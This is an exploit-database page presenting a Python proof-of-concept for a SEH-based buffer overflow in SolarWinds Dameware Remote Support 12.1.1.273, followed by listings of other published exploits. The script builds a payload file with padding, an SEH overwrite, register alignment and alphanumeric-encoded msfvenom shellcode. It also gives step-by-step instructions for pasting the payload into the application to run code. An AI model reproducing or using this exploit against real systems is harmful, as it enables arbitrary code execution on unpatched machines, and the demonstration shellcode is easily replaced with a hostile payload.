Search for hundreds of thousands of exploits

"Dameware Remote Support 12.1.1.273 - Buffer Overflow (SEH)"

Author

Exploit author

gurbanli

Platform

Exploit platform

windows

Release date

Exploit published date

2020-05-14

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
# Exploit Title: Dameware Remote Support 12.1.1.273 - Buffer Overflow (SEH)
# Exploit Author: gurbanli
# Date: 2020-05-13
# Vulnerable Software: Solarwinds Dameware Remote Support 12.1.1.273
# Vendor Homepage: https://www.solarwinds.com/
# Version: 12.1.1.273
# Software Link: https://downloads.solarwinds.com/solarwinds/Release/DameWare/v12.1.1/DamewareRS-St.exe
# Tested on: Windows 7 x86

"""
poc
1. Run exploit and copy contents of payload.txt
2. Open Dameware Remote Support
3. Click Add active directory support
4. Write any ip address in name or ip address field
5. paste payload .txt content to display name field and click ok
6. Click ok when error pops up
7. Click Yes in dialog box
8. calc pops up

Actually, i cant create this exploit with reliable exit, that's why calculator will be executed in background lol :D . but it is not big issue, the main thing is that arbitary code is executed 
"""


file = open('payload.txt','w')

max_length = 3604


padding_until_eax = '\x6e\x41' * 57 + '\x6e'
align_eax = (
"\x41" # padding (one byte)
"\x6e" # padding
"\x05\x14\x11" # add eax,11001400
"\x6e" # padding
"\x2d\x13\x11" # sub eax,11001300
)

'''
msfvenom -p windows/exec cmd=calc -f raw > shellcode.raw
./alpha2 eax --unicode --uppercase < shellcode.raw
'''

shellcode = 'PPYAIAIAIAIAQATAXAZAPA3QADAZABARALAYAIAQAIAQAPA5AAAPAZ1AI1AIAIAJ11AIAIAXA58AAPAZABABQI1AIQIAIQI1111AIAJQI1AYAZBABABABAB30APB944JBKLYXDBKPM0KPS0TIYUNQGPC4TKPPNPDK0RLLTK0RMDTKT2MXLO870JNF01KOFLOLQQSLLBNLMP7Q8OLMM1I7YRL22227DKR2LP4KOZOLTKPLLQRX9SQ8KQHQPQTKPYMPKQJ34KOYLXK3NZQ94KP44KKQXV01KOVLGQ8OLMKQ7WOHIPSEKFM3CML8OKSMMTRUK428DKPXMTM1HSC6TKLLPKTK0XMLKQYCTKKTTKM18PSYPDMTMT1KQK1QPYQJPQKOYPQO1O1J4KLRJKTM1MRJM1DMDEVRKPKPKPPPS8NQTK2OE7KOXUGKJPVUW2PVBH76EEGMUMKO9EOLKV3LLJCPKKK0RULEGKOWLS42RO1ZKPQCKOXUS3QQRL33KPA'



'''
ppr address 00b3007e (DNTU.exe)
'''

nSEH = '\x61\x6e' # unicode compatible padding
SEH = '\x7e\xb3'

payload = 'A' * 1764 + nSEH + SEH + align_eax + padding_until_eax + shellcode
payload += 'A' * (max_length-len(payload))

print('Payload length:{}'.format(len(payload)))

file.write(payload)
file.close()
Release DateTitleTypePlatformAuthor
2020-05-29"WordPress Plugin Multi-Scheduler 1.0.0 - Cross-Site Request Forgery (Delete User)"webappsphpUnD3sc0n0c1d0
2020-05-29"Crystal Shard http-protection 0.2.0 - IP Spoofing Bypass"webappsmultiple"Halis Duraki"
2020-05-28"EyouCMS 1.4.6 - Persistent Cross-Site Scripting"webappsphp"China Banking and Insurance Information Technology Management Co."
2020-05-28"QNAP QTS and Photo Station 6.0.3 - Remote Command Execution"webappsphpTh3GundY
2020-05-28"NOKIA VitalSuite SPM 2020 - 'UserName' SQL Injection"webappsmultiple"Berk Dusunur"
2020-05-28"Online-Exam-System 2015 - 'fid' SQL Injection"webappsphp"Berk Dusunur"
2020-05-27"Kuicms PHP EE 2.0 - Persistent Cross-Site Scripting"webappsphp"China Banking and Insurance Information Technology Management Co."
2020-05-27"osTicket 1.14.1 - 'Ticket Queue' Persistent Cross-Site Scripting"webappsphp"Matthew Aberegg"
2020-05-27"Online Marriage Registration System 1.0 - Persistent Cross-Site Scripting"webappsphp"that faceless coder"
2020-05-27"LimeSurvey 4.1.11 - 'Permission Roles' Persistent Cross-Site Scripting"webappsphp"Matthew Aberegg"
Release DateTitleTypePlatformAuthor
2020-05-26"StreamRipper32 2.6 - Buffer Overflow (PoC)"localwindows"Andy Bowden"
2020-05-25"GoldWave - Buffer Overflow (SEH Unicode)"localwindows"Andy Bowden"
2020-05-25"Plesk/myLittleAdmin - ViewState .NET Deserialization (Metasploit)"remotewindowsMetasploit
2020-05-22"Filetto 1.0 - 'FEAT' Denial of Service (PoC)"doswindowsSocket_0x03
2020-05-22"Druva inSync Windows Client 6.6.3 - Local Privilege Escalation"localwindows"Matteo Malvica"
2020-05-22"VUPlayer 2.49 .m3u - Local Buffer Overflow (DEP_ASLR)"localwindowsGobinathan
2020-05-22"Konica Minolta FTP Utility 1.0 - 'NLST' Denial of Service (PoC)"doswindowsSocket_0x03
2020-05-22"Konica Minolta FTP Utility 1.0 - 'LIST' Denial of Service (PoC)"doswindowsSocket_0x03
2020-05-21"CloudMe 1.11.2 - Buffer Overflow (SEH_DEP_ASLR)"localwindows"Xenofon Vassilakopoulos"
2020-05-21"AbsoluteTelnet 11.21 - 'Username' Denial of Service (PoC)"doswindows"Xenofon Vassilakopoulos"
Release DateTitleTypePlatformAuthor
2020-05-14"Dameware Remote Support 12.1.1.273 - Buffer Overflow (SEH)"localwindowsgurbanli
2020-05-13"Remote Desktop Audit 2.3.0.157 - Buffer Overflow (SEH)"localwindowsgurbanli
2020-05-12"LanSend 3.2 - Buffer Overflow (SEH)"localwindowsgurbanli
import requests
response = requests.get('https://www.nmmapper.com/api/exploitdetails/48469/?format=json')

For full documentation follow the link above

Cipherscan. A very simple way to find out which SSL ciphersuites are supported by a target.

Identify and fingerprint Web Application Firewall (WAF) products protecting a website.